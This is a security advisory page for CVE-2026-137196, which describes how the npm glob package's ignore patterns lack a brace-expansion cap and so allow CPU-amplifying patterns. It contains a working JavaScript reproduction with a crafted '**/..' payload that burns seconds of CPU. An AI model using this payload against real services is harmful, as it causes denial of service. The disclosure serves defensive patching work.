MEDIUMCVSS v4 6.3Vulnerability

CVE-2026-137196

`glob` sets `braceExpandMax: 10_000` when it parses *pattern* patterns, but the `Ignore` class builds its own `minimatch` options and omits `braceExpandMax` entirely, so ignore patterns fall back to minimatch's default of `100_000`. Both paths force `optimizationLevel: 2`, which is the exact precondition for minimatch's globparts amplification (CVE-2026-118764, GHSA-g3hv-75wg-m249) — minimatch's own default is `1`. The consequence is that the same payload is rejected in milliseconds when passed as a pattern, but is accepted and burns far more CPU when passed as an ignore pattern. ### Root cause `src/glob.ts:527-529` — pattern path, limit present: ```ts const mmo: MinimatchOptions = { braceExpandMax: 10_000, ...opts, ``` `src/ignore.ts:71-83` — ignore path, limit missing: ```ts this.mmopts = { dot: true, nobrace, nocase, noext, noglobstar, normalize, optimizationLevel: 2, // forced, and the amplification precondition platform, nocomment: true, nonegate: true, windowsPathsNoEscape, } // <-- no braceExpandMax ``` minimatch `>= 11.0.1` fixed CVE-2026-118764 by throwing a `RangeError` once `globParts.length >= braceExpandMax`. The pattern path caps rows at `10_000`; the ignore path allows `100_000`. The amplified rows then go through minimatch's `secondPhasePreProcess()`, which is O(n²) pairwise `partsMatch`. ### Reproduction ```js import { Volume, createFsFromVolume } from 'memfs' import { glob } from 'glob' const vol = new Volume() const fs = createFsFromVolume(vol) vol.fromJSON({ '/p/f.txt': 'x' }) // 14 '**/..' groups -> 2^14 = 16384 rows, over the 10_000 limit const payload = Array.from({ length: 14 }) .map((_, i) => `**/../x${i}/y${i}`) .join('/') glob.sync(payload, { cwd: '/p', fs, platform: 'posix' }) // throws: optimizationLevel 2: too many patterns from '**/..' (rejected fast) glob.sync('*', { cwd: '/p', fs, ignore: [payload], platform: 'posix' }) // accepted, ~1.5-2.0 s of CPU ``` Mea

Properties

Severity
medium
Summary
Glob : `ignore` patterns lack the braceExpandMax limit applied to `pattern`
Nvd fetched at
2026-12-01T02:29:07.656933+00:00
Cvss severity
MEDIUM
Cvss score
6.3
Retrieved at
2026-12-01T02:29:52+00:00
Ghsa published
2026-12-01T01:39:39Z
Source url
https://github.com/advisories/GHSA-qxr8-q827-836c
Ghsa updated
2026-12-01T01:39:40Z
Ghsa id
GHSA-qxr8-q827-836c
Last source
GitHub Advisory Database
Score
6.3
Cvss version
4.0
Cve id
CVE-2026-137196
Cvss vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
First seen by Signal
2026-11-30T22:28:40+00:00
Name
CVE-2026-137196
Is ghsa only
false
Vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Published at
2026-11-30T21:17:25.057

Related Entities (5)

AFFECTS (1)

→[Software]npm/glob

VULNERABLE_TO (1)

←[Software]npm/glob

Related research

Explore deeper with Ninja Signal's threat intelligence graph

CVE-2026-137196 (CVSS v4 6.3) — Ninja Signal Threat Intelligence | Ninja Signal